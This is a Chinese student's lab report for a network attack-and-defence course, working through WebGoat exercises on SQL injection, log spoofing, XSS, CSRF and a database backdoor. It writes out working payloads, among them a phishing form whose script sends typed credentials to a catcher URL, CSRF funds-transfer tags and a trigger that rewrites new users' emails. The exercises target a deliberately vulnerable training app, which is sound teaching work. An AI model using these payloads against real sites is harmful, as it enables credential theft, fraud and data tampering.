20155321 《网络攻防》 Exp9 Web安全基础

基础问题

  • SQL注入攻击原理,如何防御

    • 原理:在事先定义好的SQL语句的结尾上添加额外的SQL语句(感觉一般是或上一个永真式),以此来器执行任意的查询,从而获取相应的数据信息
    • 防御办法:可以在后台控制输入的长度或者是对于一些特殊符号,例如--等禁止用户输入
  • XSS攻击的原理,如何防御

    • 原理:XSS主要分为存储型和反射型。存储型XSS数据库中存有的存在XSS攻击的数据,返回给客户端。若数据未经过任何转义。被浏览器渲染。就可能导致XSS攻击;反射型XSS将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未经过任何过滤,直接返回给客户端。被浏览器渲染。就可能导致XSS攻击
    • 防御办法:在输入到输出的过程中进行过滤、转义
  • CSRF攻击原理,如何防御

    • 原理:主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
    • 防御办法:我觉得在页面的链接中尽量不要写自己的隐私信息。对于表单的提交这类操作使用post方法代替get方法。避免使用全站通用的cookie

实验过程

开启webgoat

  • 输入java -jar webgoat-container-7.1-exec.jar

  • 当出现如下信息时则表示成功

  • 在浏览器输入localhost:8080/WebGoat,进入webgoat

1. SQL字符串注入

  • 使用SQL注入查看ID卡号码,根据提示输入Smith,即使用查询语句SELECT * FROM user_data WHERE last_name = 'Smith'查询名为Smith的所有信息

  • 可以发现,这样就轻松得到了名为Smith的ID卡号

  • 还可以构造永真式,即输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询lastname='' OR 1='1' ,因1='1'永远为真,即可执行

2. 日志欺骗

  • User Name文本框中输入lrt%0d%0aLogin succeeded !admin达到欺骗登录效果,如下图所示成功:

3. Numeric SQL Injection

  • 可以发现此选择框是一个下拉框,是无法修改,因此可使用BurpSuite抓包修改

  • 在Kali桌面上打开BurpSuite,在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5321,确认后会在Options下增加一行,勾选新形成的这一行



  • 选择浏览器右上方的更多选项卡->preference,在页面左侧选择advanced,选择network页标签,在connection那一行选择setting

  • 在弹出的窗口中设置代理服务器和端口

  • 设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

  • 右键选择send to repeater,进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1



  • 回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功

4. Command Injection

  • 我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,使用BurpSuite抓包修改

  • 在题目页面点击view,然后进入BurpSuite中,在repeater页标签的Params选项中先运行一次,查看数据都提交的位置,显示破解成功。

5. Phishing with XSS 跨站脚本钓鱼攻击

  • 在webgoat找到xss攻击打开Phishing with XSS

  • 在输入框中输入以下代码,点击search出现登录框:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

  • 在登录框中输入用户名、密码,点击登录后则跳出弹框,里面包含了刚刚输入的用户名、密码,攻击成功

6. Stored XSS Attacks 存储型XSS攻击

  • 打开Stored XSS Attacks

  • Message框中输入<script>alert("20155321linruting");</script>

  • 提交后会有对话框,如下所示。攻击成功

7. Reflected XSS Attacks 反射型XSS攻击

  • 打开xss的第三个攻击

  • code框中输入<script>alert("20155321linruting");</script>

  • 点击Purchase出现对话框,攻击成功

8. Cross Site Request Forgery(CSRF)

  • 打开CSRF

  • 查看页面Parameters中的src和menu值

  • title框中输入学号,message框中输入代码

    <img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

  • 提交后生成一个链接20155321

  • 点击学号名即可查看用户操作的信息,攻击成功

9. CSRF Prompt By-Pass

  • 打开CSRF Prompt By-Pass

  • 查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

  • 提交后生成一个链接20155321

  • 点击学号名即可查看用户操作的信息,攻击成功

10. LAB:SQL Injection

  • 使用工具firebug,可显示当前网页的源码并直接在其中修改

  • 使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,本以为会成功,但是登录失败,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。



11. Blind Numeric SQL Injection

  • 在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的

  • 构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );根据返回结果判定合法范围



  • 使用二分法进行测试,确定值是2364,输入2364后破解成功





12. Database Backdoors

  • 输入101可得到该用户信息

  • 再输入语句101; update employee set salary=666666成功可将该用户的工资变成666666,如下图所示成功

  • 再输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155321@qq.com' WHERE userid = NEW.userid

    ,当表中有新用户时则新用户的邮箱则为自己设置的邮箱

实验体会

  • 我觉得通过本次实验还是收获不少的,在webgoat上实现SQL注入、XSS攻击和CSRF等还是比较顺利的,而且我觉得webgoat上不太懂原理和操作的时候,还可以看网页上的提示,虽然是英文的,但是目前以我们的英语水平还是可以懂个大概的,若实在看不懂,放在百度翻译上也是没问题的~

20155321 《网络攻防》 Exp9 Web安全基础的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 《网络攻防》Web安全基础实践

    20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...

  3. 20155334 《网络攻防》 Exp9 Web安全基础

    <网络攻防> Exp9 Web安全基础 一.实验后回答问题 SQL注入攻击原理,如何防御: 原理: 就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服 ...

  4. 20145335郝昊《网络攻防》Exp9 Web安全基础实践

    20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...

  5. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  6. 20155304 《网络对抗》Exp9 web安全基础实践

    20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...

  7. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  8. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...

随机推荐

  1. Retrofit+OKHttp忽略https证书验证

    记录这个的原因,是因为很多时候,因为后台配置的证书不正确导致APP访问不到服务器数据,导致影响自身的开发进度.没几行代码,逻辑也清晰,所以下面就直接贴出工具类吧: package huolongluo ...

  2. Lodash学习笔记

    有多年开发经验的工程师,往往都会有自己的一套工具库,称为utils.helpers等等,这套库一方面是自己的技术积累,另一方面也是对某项技术的扩展,领先于技术规范的制订和实现. Lodash就是这样的 ...

  3. 【Python】读取excel数据

    '''python3读取excle数据''' import xlrd workbook = xlrd.open_workbook(r'test.xls', encoding_override='gbk ...

  4. Problem5-Project Euler

    Smallest multiple   2520 is the smallest number that can be divided by each of the numbers from 1 to ...

  5. jQuery为元素设置css的问题

    例子: 有如下的html代码 对文本框设置字体大小为20px ,即font-size:20px 首先会想到如下: $('input').css({font-size:'20px'}); 由于属性不能使 ...

  6. linux 静态地址配置选项

    最近使用静态地址配置linux, 配置的时候突然不知道配置选项具体内容了,这里面记录一下配置:适用于 ipv4 网络 [root@dhcp-- ~]# cat /etc/sysconfig/netwo ...

  7. NoSQL——not onlySQL不仅仅是SQL

    数据有很大一部分是由关系数据库管理系统(RDBMS)来处理. 1970年 E.F.Codd's提出的关系模型的论文 "A relational model of data for large ...

  8. 用ASP.NET Web API技术开发HTTP接口

    开发工具 Visual Studio 2013 SQL Server 2008 R2 准备工作 启动Visual Studio 2013,新建一个ASP.NET Web应用程序,命名为SimpleAP ...

  9. 【转】1.2 CDN的基本工作过程

    1.2  CDN的基本工作过程 使用CDN会极大地简化网站的系统维护工作量,网站维护人员只需将网站内容注入CDN的系统,通过CDN部署在各个物理位置的服务器进行全网分发,就可以实现跨运营商.跨地域的用 ...

  10. vagrant特性——基于docker开发环境(docker和vagrant的结合)-4-简单例子-有问题

    运行一个十分简单的例子: Vagrant.configure() do |config| config.vm.provider "docker" do |d| d.image = ...